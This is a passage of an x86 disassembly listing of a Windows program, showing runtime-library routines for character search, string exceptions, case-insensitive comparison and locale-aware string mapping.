arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		cmp	dword_48B45C, 0
		jnz	short loc_4226F3
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_418F50
		pop	ecx
		pop	ecx
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_4226F3:				; CODE XREF: sub_4226D8+Aj
		mov	ecx, [ebp+arg_0]

loc_4226F6:				; CODE XREF: sub_4226D8+56j
		movzx	ax, byte ptr [ecx]
		test	ax, ax
		jz	short loc_422739
		movzx	edx, al
		test	byte_48B561[edx], 4
		jz	short loc_422725
		mov	dl, [ecx+1]
		inc	ecx
		test	dl, dl
		jz	short loc_422730
		movzx	eax, ax
		movzx	edx, dl
		shl	eax, 8
		or	eax, edx
		cmp	[ebp+arg_4], eax
		jz	short loc_422734
		jmp	short loc_42272D
; ---------------------------------------------------------------------------

loc_422725:				; CODE XREF: sub_4226D8+31j
		movzx	edx, ax
		cmp	[ebp+arg_4], edx
		jz	short loc_422739

loc_42272D:				; CODE XREF: sub_4226D8+4Bj
		inc	ecx
		jmp	short loc_4226F6
; ---------------------------------------------------------------------------

loc_422730:				; CODE XREF: sub_4226D8+39j
		xor	eax, eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_422734:				; CODE XREF: sub_4226D8+49j
		lea	eax, [ecx-1]
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_422739:				; CODE XREF: sub_4226D8+25j
					; sub_4226D8+53j
		movzx	edx, ax
		mov	eax, [ebp+arg_4]
		sub	eax, edx
		neg	eax
		sbb	eax, eax
		not	eax
		and	eax, ecx
		pop	ebp
		retn
sub_4226D8	endp


; =============== S U B	R O U T	I N E =======================================



sub_42274B	proc near		; CODE XREF: sub_40A7D7+21p
					; sub_422671+4Ep

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jz	short loc_422772
		push	esi
		call	sub_417AB0
		inc	eax
		push	eax
		call	sub_417B89
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_422772
		push	esi
		push	eax
		call	sub_4179C0
		pop	ecx
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_422772:				; CODE XREF: sub_42274B+7j
					; sub_42274B+1Aj
		xor	eax, eax
		pop	esi
		retn
sub_42274B	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_422780	proc near		; CODE XREF: sub_422863+19p
					; sub_42298A+19p

arg_0		= dword	ptr  4

		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		xor	eax, eax
		mov	[esi+4], eax
		mov	[esi+8], eax
		mov	[esi+0Ch], eax
		call	sub_417AB0
		pop	ecx
		push	eax
		push	[esp+8+arg_0]
		mov	ecx, esi
		call	sub_4046A3
		mov	eax, esi
		pop	esi
		retn	8
sub_422780	endp


; =============== S U B	R O U T	I N E =======================================



sub_4227AA	proc near		; CODE XREF: ___:004227D5p
					; sub_422858+6j ...
		push	esi
		mov	esi, ecx
		push	1
		lea	ecx, [esi+0Ch]
		mov	dword ptr [esi], offset	off_424CA4
		call	sub_404667
		mov	ecx, esi
		pop	esi
		jmp	sub_422BA6
sub_4227AA	endp


; =============== S U B	R O U T	I N E =======================================



sub_4227C5	proc near		; DATA XREF: ___:00424CA8o
					; ___:00424CB8o ...
		mov	eax, [ecx+10h]
		test	eax, eax
		jnz	short locret_4227D1
		mov	eax, offset dword_424290

locret_4227D1:				; CODE XREF: sub_4227C5+5j
		retn
sub_4227C5	endp

; ---------------------------------------------------------------------------

loc_4227D2:				; DATA XREF: ___:off_424CA4o
		push	esi
		mov	esi, ecx
		call	sub_4227AA
		test	byte ptr [esp+8], 1
		jz	short loc_4227E8
		push	esi
		call	sub_4182AF
		pop	ecx

loc_4227E8:				; CODE XREF: ___:004227DFj
		mov	eax, esi
		pop	esi
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_4227EE	proc near		; CODE XREF: sub_422863+29p
		mov	eax, offset loc_423122
		call	sub_418290
		push	ecx
		push	ecx
		push	esi
		lea	eax, [ebp-10h]
		mov	esi, ecx
		push	eax
		mov	[ebp-14h], esi
		mov	dword ptr [ebp-10h], offset dword_424CC0
		call	sub_422B1F
		push	dword ptr [ebp+8]
		and	dword ptr [ebp-4], 0
		lea	ecx, [esi+0Ch]
		mov	dword ptr [esi], offset	off_424CA4
		call	sub_4228A0
		mov	ecx, [ebp-0Ch]
		mov	dword ptr [esi], offset	off_424CB4
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		leave
		retn	4
sub_4227EE	endp


; =============== S U B	R O U T	I N E =======================================



sub_42283C	proc near		; DATA XREF: ___:off_424CB4o

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_422858
		test	[esp+4+arg_0], 1
		jz	short loc_422852
		push	esi
		call	sub_4182AF
		pop	ecx

loc_422852:				; CODE XREF: sub_42283C+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_42283C	endp


; =============== S U B	R O U T	I N E =======================================



sub_422858	proc near		; CODE XREF: sub_42283C+3p
					; DATA XREF: ___:0042502Co
		mov	dword ptr [ecx], offset	off_424CB4
		jmp	sub_4227AA
sub_422858	endp


; =============== S U B	R O U T	I N E =======================================



sub_422863	proc near		; CODE XREF: sub_404514+13p
					; sub_4046D8+Ep
		mov	eax, offset loc_423134
		call	sub_418290
		sub	esp, 30h
		lea	eax, [ebp-0Dh]
		push	eax
		push	offset aInvalidStringP ; "invalid string position"
		lea	ecx, [ebp-20h]
		call	sub_422780
		and	dword ptr [ebp-4], 0
		lea	eax, [ebp-20h]
		push	eax
		lea	ecx, [ebp-3Ch]
		call	sub_4227EE
		push	offset dword_425028
		lea	eax, [ebp-3Ch]
		push	eax
		call	sub_422BC9
		int	3		; Trap to Debugger
sub_422863	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4228A0	proc near		; CODE XREF: sub_4227EE+32p
					; sub_4228C0+32p ...

arg_0		= dword	ptr  4

		push	esi
		xor	eax, eax
		push	0FFFFFFFFh
		mov	esi, ecx
		push	eax
		push	[esp+0Ch+arg_0]
		mov	[esi+4], eax
		mov	[esi+8], eax
		mov	[esi+0Ch], eax
		call	sub_404514
		mov	eax, esi
		pop	esi
		retn	4
sub_4228A0	endp


; =============== S U B	R O U T	I N E =======================================



sub_4228C0	proc near		; CODE XREF: sub_42298A+29p
		mov	eax, offset loc_423146
		call	sub_418290
		push	ecx
		push	ecx
		push	esi
		lea	eax, [ebp-10h]
		mov	esi, ecx
		push	eax
		mov	[ebp-14h], esi
		mov	dword ptr [ebp-10h], offset dword_424CC0
		call	sub_422B1F
		push	dword ptr [ebp+8]
		and	dword ptr [ebp-4], 0
		lea	ecx, [esi+0Ch]
		mov	dword ptr [esi], offset	off_424CA4
		call	sub_4228A0
		mov	ecx, [ebp-0Ch]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		leave
		retn	4
sub_4228C0	endp


; =============== S U B	R O U T	I N E =======================================



sub_422908	proc near		; CODE XREF: sub_422972+7p
					; sub_4229CE+7p ...
		mov	eax, offset loc_423158
		call	sub_418290
		push	ecx
		push	esi
		push	edi
		mov	edi, [ebp+8]
		mov	esi, ecx
		push	edi
		mov	[ebp-10h], esi
		call	sub_422B5C
		and	dword ptr [ebp-4], 0
		add	edi, 0Ch
		push	edi
		lea	ecx, [esi+0Ch]
		mov	dword ptr [esi], offset	off_424CA4
		call	sub_4228A0
		mov	ecx, [ebp-0Ch]
		pop	edi
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		leave
		retn	4
sub_422908	endp


; =============== S U B	R O U T	I N E =======================================



sub_42294B	proc near		; DATA XREF: ___:off_424CE0o

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_422967
		test	[esp+4+arg_0], 1
		jz	short loc_422961
		push	esi
		call	sub_4182AF
		pop	ecx

loc_422961:				; CODE XREF: sub_42294B+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_42294B	endp


; =============== S U B	R O U T	I N E =======================================



sub_422967	proc near		; CODE XREF: sub_42294B+3p
					; DATA XREF: ___:004250D4o
		mov	dword ptr [ecx], offset	off_424CE0
		jmp	sub_4227AA
sub_422967	endp


; =============== S U B	R O U T	I N E =======================================



sub_422972	proc near		; CODE XREF: sub_4229E6+46p

arg_0		= dword	ptr  4

		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		call	sub_422908
		mov	dword ptr [esi], offset	off_424CB4
		mov	eax, esi
		pop	esi
		retn	4
sub_422972	endp


; =============== S U B	R O U T	I N E =======================================



sub_42298A	proc near		; CODE XREF: sub_404464+15p
					; sub_4044BD+15p ...
		mov	eax, offset loc_42316A
		call	sub_418290
		sub	esp, 30h
		lea	eax, [ebp-0Dh]
		push	eax
		push	offset aStringTooLong ;	"string	too long"
		lea	ecx, [ebp-20h]
		call	sub_422780
		and	dword ptr [ebp-4], 0
		lea	eax, [ebp-20h]
		push	eax
		lea	ecx, [ebp-3Ch]
		call	sub_4228C0
		push	offset dword_4250D0
		lea	eax, [ebp-3Ch]
		push	eax
		mov	dword ptr [ebp-3Ch], offset off_424CE0
		call	sub_422BC9
		int	3		; Trap to Debugger
sub_42298A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4229CE	proc near		; CODE XREF: sub_4229E6+28p

arg_0		= dword	ptr  4

		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		call	sub_422908
		mov	dword ptr [esi], offset	off_424CE0
		mov	eax, esi
		pop	esi
		retn	4
sub_4229CE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_4229E6	proc near		; DATA XREF: ___:00424CACo

var_1C		= byte ptr -1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ecx
		lea	ecx, [ebp+var_1C]
		call	sub_422908
		push	offset dword_425110
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_422BC9
		int	3		; Trap to Debugger

loc_422A04:				; DATA XREF: ___:00424CE8o
		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ecx
		lea	ecx, [ebp+var_1C]
		call	sub_4229CE
		push	offset dword_4250D0
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_422BC9
		int	3		; Trap to Debugger

loc_422A22:				; DATA XREF: ___:00424CBCo
		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ecx
		lea	ecx, [ebp+var_1C]
		call	sub_422972
		push	offset dword_425028
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_422BC9
		int	3		; Trap to Debugger
sub_4229E6	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_422A40	proc near
		nop
		jmp	near ptr 71B2ACCBh
sub_422A40	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_422A46	proc near		; CODE XREF: sub_403DF6+5Ep
					; sub_4053D5+159p
		jmp	near ptr 71AB1B7Bh
sub_422A46	endp

; ---------------------------------------------------------------------------
		db 0A9h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_422A4C	proc near		; CODE XREF: sub_417EFC+23p
					; sub_4181A0+13p
		nop
		jmp	near ptr 2800000h
sub_422A4C	endp


; =============== S U B	R O U T	I N E =======================================



sub_422A52	proc near		; CODE XREF: sub_409392+E2p
					; sub_409392+F9p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	dword_48A0A8, 0
		push	ebx
		jnz	short loc_422A98
		mov	edx, [esp+4+arg_4]
		mov	ecx, [esp+4+arg_0]

loc_422A64:				; CODE XREF: sub_422A52+42j
		mov	bx, [ecx]
		cmp	bx, 5Ah
		ja	short loc_422A76
		cmp	bx, 41h
		jb	short loc_422A76
		add	ebx, 20h

loc_422A76:				; CODE XREF: sub_422A52+19j
					; sub_422A52+1Fj
		mov	ax, [edx]
		cmp	ax, 5Ah
		ja	short loc_422A88
		cmp	ax, 41h
		jb	short loc_422A88
		add	eax, 20h

loc_422A88:				; CODE XREF: sub_422A52+2Bj
					; sub_422A52+31j
		inc	ecx
		inc	ecx
		inc	edx
		inc	edx
		test	bx, bx
		jz	short loc_422AC8
		cmp	bx, ax
		jz	short loc_422A64
		jmp	short loc_422AC8
; ---------------------------------------------------------------------------

loc_422A98:				; CODE XREF: sub_422A52+8j
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi
		mov	edi, [esp+0Ch+arg_4]

loc_422AA2:				; CODE XREF: sub_422A52+72j
		mov	ax, [esi]
		inc	esi
		push	eax
		inc	esi
		call	sub_422C03
		mov	ebx, eax
		mov	ax, [edi]
		inc	edi
		push	eax
		inc	edi
		call	sub_422C03
		pop	ecx
		test	bx, bx
		pop	ecx
		jz	short loc_422AC6
		cmp	bx, ax
		jz	short loc_422AA2

loc_422AC6:				; CODE XREF: sub_422A52+6Dj
		pop	edi
		pop	esi

loc_422AC8:				; CODE XREF: sub_422A52+3Dj
					; sub_422A52+44j
		movzx	ecx, ax
		movzx	eax, bx
		sub	eax, ecx
		pop	ebx
		retn
sub_422A52	endp


; =============== S U B	R O U T	I N E =======================================



sub_422AD2	proc near		; CODE XREF: ___:00422AEAp
		mov	dword ptr [ecx], offset	off_424D00
		mov	ecx, [ecx+4]
		test	ecx, ecx
		jz	short locret_422AE6
		push	ecx
		call	sub_417C3B
		pop	ecx

locret_422AE6:				; CODE XREF: sub_422AD2+Bj
		retn
sub_422AD2	endp

; ---------------------------------------------------------------------------

loc_422AE7:				; DATA XREF: ___:off_424D00o
		push	esi
		mov	esi, ecx
		call	sub_422AD2
		test	byte ptr [esp+8], 1
		jz	short loc_422AFD
		push	esi
		call	sub_4182AF
		pop	ecx

loc_422AFD:				; CODE XREF: ___:00422AF4j
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------

loc_422B03:				; DATA XREF: ___:off_424D08o
		push	esi
		mov	esi, ecx
		call	sub_422BA6
		test	byte ptr [esp+8], 1
		jz	short loc_422B19
		push	esi
		call	sub_4182AF
		pop	ecx

loc_422B19:				; CODE XREF: ___:00422B10j
		mov	eax, esi
		pop	esi
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_422B1F	proc near		; CODE XREF: sub_4227EE+1Dp
					; sub_4228C0+1Dp

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		mov	dword ptr [esi], offset	off_424D08
		push	dword ptr [edi]
		call	sub_417AB0
		inc	eax
		push	eax
		call	sub_4185F5
		pop	ecx
		mov	[esi+4], eax
		test	eax, eax
		pop	ecx
		jz	short loc_422B4E
		push	dword ptr [edi]
		push	eax
		call	sub_4179C0
		pop	ecx
		pop	ecx

loc_422B4E:				; CODE XREF: sub_422B1F+23j
		mov	dword ptr [esi+8], 1
		mov	eax, esi
		pop	edi
		pop	esi
		retn	4
sub_422B1F	endp


; =============== S U B	R O U T	I N E =======================================



sub_422B5C	proc near		; CODE XREF: sub_422908+16p

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		mov	dword ptr [esi], offset	off_424D08
		mov	eax, [edi+8]
		test	eax, eax
		mov	[esi+8], eax
		jz	short loc_422B99
		push	dword ptr [edi+4]
		call	sub_417AB0
		inc	eax
		push	eax
		call	sub_4185F5
		pop	ecx
		mov	[esi+4], eax
		test	eax, eax
		pop	ecx
		jz	short loc_422B9F
		push	dword ptr [edi+4]
		push	eax
		call	sub_4179C0
		pop	ecx
		pop	ecx
		jmp	short loc_422B9F
; ---------------------------------------------------------------------------

loc_422B99:				; CODE XREF: sub_422B5C+16j
		mov	eax, [edi+4]
		mov	[esi+4], eax

loc_422B9F:				; CODE XREF: sub_422B5C+2Ej
					; sub_422B5C+3Bj
		mov	eax, esi
		pop	edi
		pop	esi
		retn	4
sub_422B5C	endp


; =============== S U B	R O U T	I N E =======================================



sub_422BA6	proc near		; CODE XREF: sub_4227AA+16j
					; ___:00422B06p ...
		cmp	dword ptr [ecx+8], 0
		mov	dword ptr [ecx], offset	off_424D08
		jz	short locret_422BBB
		push	dword ptr [ecx+4]
		call	sub_4182AF
		pop	ecx

locret_422BBB:				; CODE XREF: sub_422BA6+Aj
		retn
sub_422BA6	endp


; =============== S U B	R O U T	I N E =======================================



sub_422BBC	proc near		; DATA XREF: ___:00424D0Co
		mov	eax, [ecx+4]
		test	eax, eax
		jnz	short locret_422BC8
		mov	eax, offset aUnknownExcepti ; "Unknown exception"

locret_422BC8:				; CODE XREF: sub_422BBC+5j
		retn
sub_422BBC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422BC9	proc near		; CODE XREF: sub_422863+37p
					; sub_42298A+3Ep ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	8
		pop	ecx
		mov	esi, offset dword_424D28
		lea	edi, [ebp+var_20]
		rep movsd
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_C]
		push	eax
		push	[ebp+var_10]
		push	[ebp+var_1C]
		push	[ebp+var_20]
		call	near ptr 2870000h
		nop
		pop	edi
		pop	esi
		leave
		retn	8
sub_422BC9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422C03	proc near		; CODE XREF: sub_422A52+56p
					; sub_422A52+63p

var_2		= word ptr -2
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		cmp	ax, 0FFFFh
		jnz	short loc_422C15
		or	ax, ax
		leave
		retn
; ---------------------------------------------------------------------------

loc_422C15:				; CODE XREF: sub_422C03+Bj
		cmp	dword_48A0A8, 0
		jnz	short loc_422C2F
		cmp	ax, 41h
		jb	short locret_422C76
		cmp	ax, 5Ah
		ja	short locret_422C76
		add	eax, 20h
		leave
		retn
; ---------------------------------------------------------------------------

loc_422C2F:				; CODE XREF: sub_422C03+19j
		cmp	ax, 100h
		jnb	short loc_422C49
		push	1
		push	eax
		call	sub_422EB1
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_422C49
		mov	ax, word ptr [ebp+arg_0]
		leave
		retn
; ---------------------------------------------------------------------------

loc_422C49:				; CODE XREF: sub_422C03+30j
					; sub_422C03+3Ej
		push	0
		lea	eax, [ebp+var_2]
		push	1
		push	eax
		lea	eax, [ebp+arg_0]
		push	1
		push	eax
		push	100h
		push	dword_48A0A8
		call	sub_422C78
		add	esp, 1Ch
		test	eax, eax
		mov	ax, word ptr [ebp+arg_0]
		jz	short locret_422C76
		mov	ax, [ebp+var_2]

locret_422C76:				; CODE XREF: sub_422C03+1Fj
					; sub_422C03+25j ...
		leave
		retn
sub_422C03	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422C78	proc near		; CODE XREF: sub_422C03+5Fp

var_2C		= dword	ptr -2Ch
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_424D48
		push	offset sub_41F774
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		xor	esi, esi
		cmp	dword_48A304, esi
		jnz	short loc_422CEE
		push	esi
		push	esi
		push	1
		pop	ebx
		push	ebx
		push	offset dword_4248D8
		mov	edi, 100h
		push	edi
		push	esi
		call	near ptr 2890000h
		nop
		test	eax, eax
		jz	short loc_422CCC
		mov	dword_48A304, ebx
		jmp	short loc_422CEE
; ---------------------------------------------------------------------------

loc_422CCC:				; CODE XREF: sub_422C78+4Aj
		push	esi
		push	esi
		push	ebx
		push	offset dword_43C824
		push	edi
		push	esi
		nop
		call	near ptr 2880000h
		test	eax, eax
		jz	loc_422E6D
		mov	dword_48A304, 2

loc_422CEE:				; CODE XREF: sub_422C78+2Ej
					; sub_422C78+52j
		cmp	[ebp+arg_C], esi
		jle	short loc_422D03
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_422E81
		pop	ecx
		pop	ecx
		mov	[ebp+arg_C], eax

loc_422D03:				; CODE XREF: sub_422C78+79j
		mov	eax, dword_48A304
		cmp	eax, 1
		jnz	short loc_422D2A
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 2890000h
		jmp	loc_422E6F
; ---------------------------------------------------------------------------

loc_422D2A:				; CODE XREF: sub_422C78+93j
		cmp	eax, 2
		jnz	loc_422E6D
		cmp	[ebp+arg_18], esi
		jnz	short loc_422D40
		mov	eax, dword_48A0B8
		mov	[ebp+arg_18], eax

loc_422D40:				; CODE XREF: sub_422C78+BEj
		push	esi
		push	esi
		push	esi
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	220h
		push	[ebp+arg_18]
		nop
		call	near ptr 27C0000h
		mov	[ebp+var_20], eax
		cmp	eax, esi
		jz	loc_422E6D
		mov	[ebp+var_4], esi
		add	eax, 3
		and	al, 0FCh
		call	sub_417B30
		mov	[ebp+var_18], esp
		mov	eax, esp
		mov	[ebp+var_1C], eax
		jmp	short loc_422D86
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	esi, esi
		mov	[ebp+var_1C], esi

loc_422D86:				; CODE XREF: sub_422C78+100j
		or	[ebp+var_4], 0FFFFFFFFh
		cmp	[ebp+var_1C], esi
		jz	loc_422E6D
		push	esi
		push	esi
		push	[ebp+var_20]
		push	[ebp+var_1C]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	220h
		push	[ebp+arg_18]
		nop
		call	near ptr 27C0000h
		test	eax, eax
		jz	loc_422E6D
		push	esi
		push	esi
		push	[ebp+var_20]
		push	[ebp+var_1C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	near ptr 2880000h
		nop
		mov	edi, eax
		mov	[ebp+var_2C], edi
		cmp	edi, esi
		jz	loc_422E6D
		mov	[ebp+var_4], 1
		add	eax, 3
		and	al, 0FCh
		call	sub_417B30
		mov	[ebp+var_18], esp
		mov	ebx, esp
		mov	[ebp+var_24], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_422E09
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	esi, esi
		xor	ebx, ebx
		or	[ebp+var_4], 0FFFFFFFFh
		mov	edi, [ebp+var_2C]

loc_422E09:				; CODE XREF: sub_422C78+17Dj
		cmp	ebx, esi
		jz	short loc_422E6D
		push	edi
		push	ebx
		push	[ebp+var_20]
		push	[ebp+var_1C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 2880000h
		test	eax, eax
		jz	short loc_422E6D
		test	byte ptr [ebp+arg_4+1],	4
		jz	short loc_422E47
		mov	eax, [ebp+arg_14]
		cmp	eax, esi
		jz	short loc_422E69
		cmp	eax, edi
		jl	short loc_422E38
		mov	eax, edi

loc_422E38:				; CODE XREF: sub_422C78+1BCj
		push	eax
		push	ebx
		push	[ebp+arg_10]
		call	sub_418C10
		add	esp, 0Ch
		jmp	short loc_422E69
; ---------------------------------------------------------------------------

loc_422E47:				; CODE XREF: sub_422C78+1B1j
		cmp	[ebp+arg_14], esi
		jnz	short loc_422E50
		push	esi
		push	esi
		jmp	short loc_422E56
; ---------------------------------------------------------------------------

loc_422E50:				; CODE XREF: sub_422C78+1D2j
		push	[ebp+arg_14]
		push	[ebp+arg_10]

loc_422E56:				; CODE XREF: sub_422C78+1D6j
		push	edi
		push	ebx
		push	1
		push	[ebp+arg_18]
		nop
		call	near ptr 2620000h
		mov	edi, eax
		cmp	edi, esi
		jz	short loc_422E6D

loc_422E69:				; CODE XREF: sub_422C78+1B8j
					; sub_422C78+1CDj
		mov	eax, edi
		jmp	short loc_422E6F
; ---------------------------------------------------------------------------

loc_422E6D:				; CODE XREF: sub_422C78+66j
					; sub_422C78+B5j ...
		xor	eax, eax

loc_422E6F:				; CODE XREF: sub_422C78+ADj
					; sub_422C78+1F3j
		lea	esp, [ebp-38h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_422C78	endp


; =============== S U B	R O U T	I N E =======================================



sub_422E81	proc near		; CODE XREF: sub_422C78+81p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_4]
		mov	eax, [esp+arg_0]
		test	edx, edx
		push	esi
		lea	ecx, [edx-1]
		jz	short loc_422EA0

loc_422E91:				; CODE XREF: sub_422E81+1Dj
		cmp	word ptr [eax],	0
		jz	short loc_422EA0
		inc	eax
		mov	esi, ecx
		inc	eax
		dec	ecx
		test	esi, esi
		jnz	short loc_422E91

loc_422EA0:				; CODE XREF: sub_422E81+Ej
					; sub_422E81+14j
		cmp	word ptr [eax],	0
		pop	esi
		jnz	short loc_422EAE
		sub	eax, [esp+arg_0]
		sar	eax, 1
		retn
; ---------------------------------------------------------------------------

loc_422EAE:				; CODE XREF: sub_422E81+24j
		mov	eax, edx
		retn
sub_422E81	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422EB1	proc near		; CODE XREF: sub_422C03+35p

var_4		= dword	ptr -4
arg_0		= word ptr  8
arg_4		= word ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	[ebp+arg_0], 0FFFFh
		jz	short loc_422EF1
		cmp	[ebp+arg_0], 100h
		jnb	short loc_422ED5
		movzx	eax, [ebp+arg_0]
		mov	ecx, off_4395A4
		mov	ax, [ecx+eax*2]
		jmp	short loc_422EF8
; ---------------------------------------------------------------------------

loc_422ED5:				; CODE XREF: sub_422EB1+12j
		push	0
		lea	eax, [ebp+var_4]
		push	0
		push	eax
		lea	eax, [ebp+arg_0]
		push	1
		push	eax
		push	1
		call	sub_422F03
		add	esp, 18h
		test	eax, eax
		jnz	short loc_422EF5

loc_422EF1:				; CODE XREF: sub_422EB1+Aj
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------

loc_422EF5:				; CODE XREF: sub_422EB1+3Ej
		mov	eax, [ebp+var_4]

loc_422EF8:				; CODE XREF: sub_422EB1+22j
		movzx	ecx, [ebp+arg_4]
		movzx	eax, ax
		and	eax, ecx
		leave
		retn
sub_422EB1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422F03	proc near		; CODE XREF: sub_422EB1+34p

var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_424D60
		push	offset sub_41F774
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, dword_48A308
		xor	edi, edi
		cmp	eax, edi
		jnz	short loc_422F72
		lea	eax, [ebp+var_1C]
		push	eax
		push	1
		pop	esi
		push	esi
		push	offset dword_4248D8
		push	esi
		nop
		call	near ptr 25D0000h
		test	eax, eax
		jz	short loc_422F50
		mov	eax, esi
		jmp	short loc_422F6D
; ---------------------------------------------------------------------------

loc_422F50:				; CODE XREF: sub_422F03+47j
		lea	eax, [ebp+var_1C]
		push	eax
		push	esi
		push	offset dword_43C824
		push	esi
		push	edi
		call	near ptr 25D0874h
		nop
		test	eax, eax
		jz	loc_4230B4
		push	2
		pop	eax

loc_422F6D:				; CODE XREF: sub_422F03+4Bj
		mov	dword_48A308, eax

loc_422F72:				; CODE XREF: sub_422F03+2Fj
		cmp	eax, 1
		jnz	short loc_422F8E
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 25D0000h
		jmp	loc_4230B6
; ---------------------------------------------------------------------------

loc_422F8E:				; CODE XREF: sub_422F03+72j
		cmp	eax, 2
		jnz	loc_4230B4
		cmp	[ebp+arg_10], edi
		jnz	short loc_422FA4
		mov	eax, dword_48A0B8
		mov	[ebp+arg_10], eax

loc_422FA4:				; CODE XREF: sub_422F03+97j
		push	edi
		push	edi
		push	edi
		push	edi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	220h
		push	[ebp+arg_10]
		nop
		call	near ptr 27C0000h
		mov	esi, eax
		mov	[ebp+var_28], esi
		cmp	esi, edi
		jz	loc_4230B4
